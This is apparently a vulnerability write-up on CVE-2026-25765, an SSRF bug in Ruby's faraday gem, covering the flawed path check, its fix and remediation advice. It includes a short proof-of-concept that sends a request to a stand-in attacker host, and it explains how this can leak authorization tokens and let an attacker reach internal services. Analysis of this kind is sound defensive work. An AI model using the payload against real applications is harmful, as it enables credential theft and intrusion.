Faraday SSRF: When a Double Slash Becomes a Double Agent
Feb 9, 2026·6 min read·2 visits
Executive Summary (TL;DR)
Faraday < 2.14.1 fails to sanitize protocol-relative URLs (e.g., '//attacker.com'). This allows attackers to bypass the intended base URL and force the application to send requests (and potentially sensitive headers) to an external server.
A high-severity Server-Side Request Forgery (SSRF) vulnerability in the popular Ruby 'faraday' gem allows attackers to redirect HTTP requests to arbitrary hosts using protocol-relative URLs. By supplying a path starting with double slashes (//), an attacker can bypass path sanitization logic, causing the library to treat the input as a new network authority rather than a relative path.
The Hook: The Swiss Army Knife That Stabs Back
If you write Ruby, you know Faraday. It’s the de-facto standard HTTP client—the Swiss Army knife that abstracts away the pain of Net::HTTP. You instantiate a connection with a base URL (say, an internal microservice or a banking API), and you trust Faraday to append your endpoints correctly. You assume that if you lock the front door by setting a url_prefix of https://internal-api.corp, no amount of knocking will let someone exit through the back window to https://evil-hacker.com.
But here’s the thing about abstractions: they leak. And in this case, a quirk in how URIs are merged—specifically a feature defined way back in RFC 3986—turned Faraday into a naive accomplice. It turns out that // isn't just a comment in your code; in the world of URIs, it's a trapdoor.
CVE-2026-25765 isn't a complex memory corruption bug or a buffer overflow. It's a logic error born from a misunderstanding of how URL merging works. It’s the digital equivalent of telling a taxi driver "Take me to Main Street," and the driver interpreting that as "Drive to a different country named Main Street."
The Flaw: The Protocol-Relative Poltergeist
To understand this exploit, you have to understand Protocol-Relative URLs (or "network-path references" if you want to sound like an RFC nerd). You've seen them in HTML: <script src="//cdn.com/lib.js">. This tells the browser: "Use whatever protocol (HTTP or HTTPS) we are currently using, but switch the host to cdn.com."
Ruby's standard URI#merge method respects this RFC behavior. If you merge //attacker.com onto https://internal.com, the result is https://attacker.com. The scheme is preserved, but the host (authority) is completely swapped out.
Faraday knows this is dangerous. It has logic specifically designed to handle relative paths so that conn.get('/users') correctly resolves to https://internal.com/users. However, the logic had a blind spot. It tried to distinguish between absolute paths (safe to merge as-is) and relative paths (which needed handling). The check looked something like this:
> "If the input starts with /, assume it's an absolute path and let it pass through raw."
The problem? //attacker.com technically starts with /. So Faraday looked at the double-slash payload, shrugged, said "looks like an absolute path to me," and passed it straight to URI#merge. That assumption was the fatal flaw.
The Code: The Line That Missed
Let's look at the crime scene in lib/faraday/connection.rb. The method build_exclusive_url is responsible for combining the connection's base URL with the request path. Here is the vulnerable code logic prior to version 2.14.1:
# THE VULNERABLE LOGIC
# It tries to prepend './' to force a relative path, UNLESS it looks like a URI or absolute path.
url = "./#{url}" if url.respond_to?(:start_with?) && !url.start_with?('http://', 'https://', '/', './', '../')Read that condition carefully: !url.start_with?(..., '/'). It explicitly exempts strings starting with a single forward slash /. The developer's intent was to support paths like /api/v1/resource. Unfortunately, in Ruby, '//evil.com'.start_with?('/') returns true.
Because the check passed, the code skipped the ./ sanitization. The url variable remained //evil.com. A few lines later, it executed base + url. When base is https://internal and url is //evil.com, Ruby's URI library discards the internal host entirely.
Here is the fix implemented in commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc. They added a specific check for the double slash:
# THE FIX
# Now, if it starts with '//', we force it into the sanitization block.
url = "./#{url}" if url.respond_to?(:start_with?) &&
(!url.start_with?('http://', 'https://', '/', './', '../') || url.start_with?('//'))By forcing //evil.com to become .///evil.com, the URI#merge method treats it as a literal folder named evil.com inside the current host, effectively neutralizing the SSRF.
The Exploit: Hijacking the Request
Exploiting this is trivially easy if you have control over the path passed to a Faraday client. Imagine a Ruby application that proxies images or user content. It sets up a "secure" connection to its backend storage:
# SETUP
conn = Faraday.new(url: 'https://internal-storage.local/v1')
# ATTACKER INPUT
# The app expects a filename, like 'profile.jpg'
user_input = "//attacker-controlled.com/loot"
# EXECUTION
conn.get(user_input)The Flow:
- Input:
//attacker-controlled.com/loot - Faraday Check: Starts with
/? Yes. Skip sanitization. - Merge:
https://internal-storage.local/v1+//attacker-controlled.com/loot - Result:
https://attacker-controlled.com/loot
The real danger here isn't just hitting an external server. Faraday connections often carry Authorization headers (Bearer tokens, API keys) configured at the connection level. If the application blindly follows this redirect, it will hand over those credentials to the attacker's server. It's a classic "confused deputy" problem.
The Impact: Why Should We Panic?
This vulnerability is a textbook SSRF vector, but the impact depends heavily on the context of the base URL. Because the scheme (HTTP vs HTTPS) is inherited from the base URL, you are somewhat constrained. If the application connects to https://api.stripe.com, your exploit will force a request to https://attacker.com. You cannot downgrade to HTTP to hit local metadata services that don't support TLS (like the AWS IMDSv1 at http://169.254.169.254).
However, the Credential Leakage is the high-stakes risk here. If the Faraday connection is initialized with a shared secret or an OAuth token intended for an internal microservice, that token is now in your access logs.
Furthermore, if the application is part of a service mesh or an intranet where internal services use HTTPS with self-signed certs (or valid internal PKI), an attacker can pivot to scan internal ports or interact with other internal APIs, bypassing firewall rules that trust the vulnerable application server.
The Fix: Closing the Window
The remediation is straightforward: Update Faraday. Version 2.14.1 patches this specific bypass.
If you cannot update immediately, you must sanitize input before passing it to Faraday. Do not rely on Faraday to fix your paths. Explicitly reject any input starting with // or use Ruby's URI.parse to validate that the input contains only a path and no authority component.
> [!NOTE]
> Security isn't just about patching libraries; it's about input validation. If your application expects a filename, validate that it matches ^[a-zA-Z0-9_.-]+$. Don't let users type raw paths.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
faraday lostisland | < 2.14.1 | 2.14.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-918 (Server-Side Request Forgery) |
| CVSS v3.1 | 5.8 (Medium) |
| Attack Vector | Network (Remote) |
| Privileges Required | None |
| Impact | Confidentiality (Header Leakage) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software does not correctly neutralize user-controllable input within a URL/URI, allowing the server to make a connection to an unintended destination.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.